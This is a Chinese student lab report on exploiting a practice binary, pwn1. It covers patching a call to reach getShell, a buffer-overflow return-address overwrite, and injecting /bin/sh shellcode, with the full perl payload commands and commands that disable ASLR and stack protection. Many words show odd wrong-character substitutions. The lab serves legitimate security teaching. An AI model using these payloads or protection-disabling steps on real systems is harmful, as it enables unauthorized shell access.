20165230田坤燁《網絡對抗》Exp1 PC平臺逆向破解

實踐目標

• 本次實踐的對象是一個名爲pwn1的linux可執行文件。
• 該程序正常執行流程是：main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
• 該程序同時包含另外一個代碼片斷，getShell，會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷，而後學習如何注入運行任何Shellcode。

1、基礎知識學習

1.什麼是漏洞？漏洞有什麼危害？

• 我認爲漏洞是黑客能夠利用來破壞計算機系統的後門。
• 漏洞的存在，很容易致使黑客的侵入及病毒的駐留，會致使數據丟失和篡改、隱私泄露乃至金錢上的損失，如：網站因漏洞被入侵，網站用戶數據將會泄露、網站功能可能遭到破壞而停止乃至服務器自己被入侵者控制。

2.掌握NOP、JNE、JE、JMP、CMP彙編指令的機器碼

• NOP：NOP指令即「空指令」。執行到NOP指令時，CPU什麼也不作，僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。（機器碼：90）
• JNE：條件轉移指令，若是不相等則跳轉。（機器碼：75）
• JE：條件轉移指令，若是相等則跳轉。（機器碼：74）
• JMP：無條件轉移指令。段內直接短轉Jmp
• short（機器碼：EB） 段內直接近轉移Jmp
• near（機器碼：E9） 段內間接轉移 Jmp
• word（機器碼：FF） 段間直接(遠)轉移Jmp
• far（機器碼：EA）
• CMP：比較指令，功能至關於減法指令，只是對操做數之間運算比較，不保存結果。cmp指令執行後，將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

3.gdb的經常使用命令

4.管道的概念

• 管道是一種最基本的IPC機制，做用於有血緣關係的進程之間，完成數據傳遞。調用pipe系統函數便可建立一個管道。有以下特質：
• 其本質是一個僞文件(實爲內核緩衝區)
• 由兩個文件描述符引用，一個表示讀端，一個表示寫端。
• 規定數據從管道的寫端流入管道，從讀端流出。
• 管道的原理: 管道實爲內核使用環形隊列機制，藉助內核緩衝區(4k)實現。
• 管道的侷限性：
• ① 數據本身讀不能本身寫。
• ② 數據一旦被讀走，便不在管道中存在，不可反覆讀取。
• ③ 因爲管道採用半雙工通訊方式。所以，數據只能在一個方向上流動。
• ④ 只能在有公共祖先的進程間使用管道。
• 常見的通訊方式有，單工通訊、半雙工通訊、全雙工通訊。
• 實驗中用到的cut命令，將一行內的數據進行分解
  cut -d '分隔符' -f fields
  1. -c 字符範圍
  2. -f 取出第幾段的意思 ，從1開始

2、實驗內容

（一）直接修改程序機器指令，改變程序執行流程

思路

• 找到getShell函數的位置
• 修改main函數中，call指令的參數，使得程序調用getShell函數

步驟

進入共享文件目錄/mnt/hgfs/share中，下載目標文件pwn1,輸入objdump -d pwn1反彙編獲得下圖代碼

計算出須要修改的地址。計算方法：e8這條指令會使CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。80484ba +d7ffffff= 80484ba-0x29正好是8048491。所以想讓它調用getShell，只要修改「d7ffffff」爲，"getShell-80484ba"對應的補碼就行。直接 47d-4ba就能獲得補碼，是c3ffffff。

編輯pwn1文件，將其中的call指令的目標地址由d7ffffff變爲c3ffffff

如下操做是在vi內
1. 按ESC鍵
2. 輸入以下，將顯示模式切換爲16進制模式
:%!xxd
3. 查找要修改的內容
/e8d7

4. 找到後先後的內容和反彙編的對比下，確認是地方是正確的
5. 修改d7爲c3
6. 轉換16進製爲原格式
:%!xxd -r
7. 存盤退出vi
:wq

./pwn1運行改後的代碼，會獲得shell提示符：

（二）經過構造輸入參數，形成BOF攻擊，改變程序執行流

思路

1. 反彙編，瞭解漏洞以及程序的基本功能
2. 確認輸入字符串哪幾個字符會覆蓋到返回地址
3. 確認用什麼值來覆蓋返回地址
4. 構造輸入字符串

反彙編，瞭解漏洞以及程序的基本功能

• 該可執行文件正常運行是調用函數foo，這個函數有Buffer overflow漏洞，即foo函數中的gets函數，因爲該函數不會檢查用戶輸入的長度，經過「棧溢出」覆蓋棧中保存的RET地址，能夠改變程序的執行流。
• 函數foo中的mov(804849a)讀入字符串，但系統只預留了32字節的緩衝區，超出部分會形成溢出，咱們的目標是覆蓋返回地址
• 函數main中的call調用函數foo，同時在堆棧上壓上返回地址值:80484ae

確認輸入字符串哪幾個字符會覆蓋到返回地址

• 若是輸入字符串1111111122222222333333334444444412345678，那 1234 那四個數最終會覆蓋到堆棧上的返回地址，進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址，輸入給pwn1，pwn1就會運行getShell

確認用什麼值來覆蓋返回地址

• getShell的內存地址，經過反彙編時能夠看到，即0804847d
  接下來要確認下字節序，因爲是小端機器，所以應輸入 11111111222222223333333344444444\x7d\x84\x04\x08

構造輸入字符串

• 因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值，因此須要使用prel方法先生成包括這樣字符串的一個文件，將getshell的內存地址寫入輸入字符串中，\x0a表示回車，若是沒有的話，在程序運行時就須要手工按一下回車鍵。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

• 可使用16進制查看指令xxd查看input文件的內容是否如預期。
  

• 將input的輸入，經過管道符「|」，做爲pwn1的輸入。

(cat input; cat) | ./pwn1

（三）注入Shellcode並執行

準備一段Shellcode

• shellcode就是一段機器指令（code）
• 一般這段機器指令的目的是爲獲取一個交互式的shell（像linux的shell或相似windows下的cmd.exe），因此這段機器指令被稱爲shellcode。
• 在實際的應用中，凡是用來注入的機器指令段都通稱爲shellcode，像添加一個用戶、運行一條指令。
• 如下實踐即便用該文章中生成的shellcode。以下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

準備工做

1. 關閉堆棧保護（gcc -fno-stack-protector）
2. 關閉堆棧執行保護(execstack -s)
3. 關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
4. 在x32環境下
5. 在Linux實踐環境

apt-get install execstack //安裝execstack命令
execstack -s pwn1 //設置堆棧可執行
execstack -q pwn1 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化 
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

構造要注入的payload

Linux下有兩種基本構造攻擊buf的方法： 1.retaddr+nop+shellcode 2.
nop+shellcode+retaddr
由於retaddr在緩衝區的位置是固定的，shellcode要不在它前面，要不在它後面。
簡單說緩衝區小就把shellcode放後邊，緩衝區大就把shellcode放前邊
咱們這個buf夠放這個shellcode了
結構爲：nops+shellcode+retaddr。
nop一爲是了填充，二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上，天然會滑到咱們的shellcode。

• 使用命令注入，其中前面32個A用來填滿緩衝區buf，\x04\x03\x02\x01爲預留的返回地址retaddr：

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。
特別提醒：最後一個字符千萬不能是\x0a。否則下面的操做就作不了了。

肯定\x4\x3\x2\x1到底該填什麼。

• 打開一個終端注入這段攻擊buf：

(cat input_shellcode;cat) | ./pwn20165230

• 再開另一個終端，用gdb來調試pwn20165230這個進程。
  • 用ps -ef | grep pwn20165230命令找到pwn20165230的進程號是：34424：

• 用gdb pwn20165230、attach命令啓動gdb調試這個進程：

• 用disassemble foo命令反彙編，經過設置斷點，來查看注入buf的內存地址：

• 經過break *0x080484ae命令設置斷點，輸入c命令(continue)繼續運行
• 在另一個終端中按下回車使上一調試過程繼續執行。再返回調試終端，使用info r esp命令查找地址：

• 用x/16x 0xffffd28c命令查看其存放內容，看到了0x01020304，就是返回地址的位置。根據咱們構造的input_shellcode可知，shellcode就在其後，因此地址應爲0xffffd290：

接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可，用命令

perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3、實驗中遇到的問題及解決過程

不能獲得正確結果

• 解決：第二個實踐中按照步驟運行下來不能得看到0x01020304正確的結果，因而從新copy了pwn文件到共享文件夾中，並重命名爲pwn20165230，便可獲得正確結果，應養成備份的好習慣

提示不能啓動虛擬機

• 解決：參照了博客Vmware沒法獲取快照信息 鎖定文件失敗

1. 打開你存放虛擬機系統文件的文件夾，注意，是系統文件，不是虛擬機的安裝目錄，也就是你創建虛擬機的時候下圖設置的位置
2. 而後搜索以*.lck爲關鍵字這個文件夾

3. 刪除找到的全部*.lck臨時文件，再次啓用就ok了

   4、實驗收穫與感想

• 此次實驗總的來講比較順利，複習了Linux的部分指令、彙編的部分知識、gdb調試、vi的使用、反彙編與十六進制編輯，學習了BOF的原理和防護等知識。 此次實踐雖然是個簡單的訓練，可是卻讓我深入感覺到BOF漏洞帶來的危害，更重要的是，讓我意識到漏洞每每是在不經意間產生，而又很容易被有心之人利用。但願將來在網絡攻防技術這門課中學到更多的攻擊技術，在攻擊中讓咱們學會更好地防護漏洞。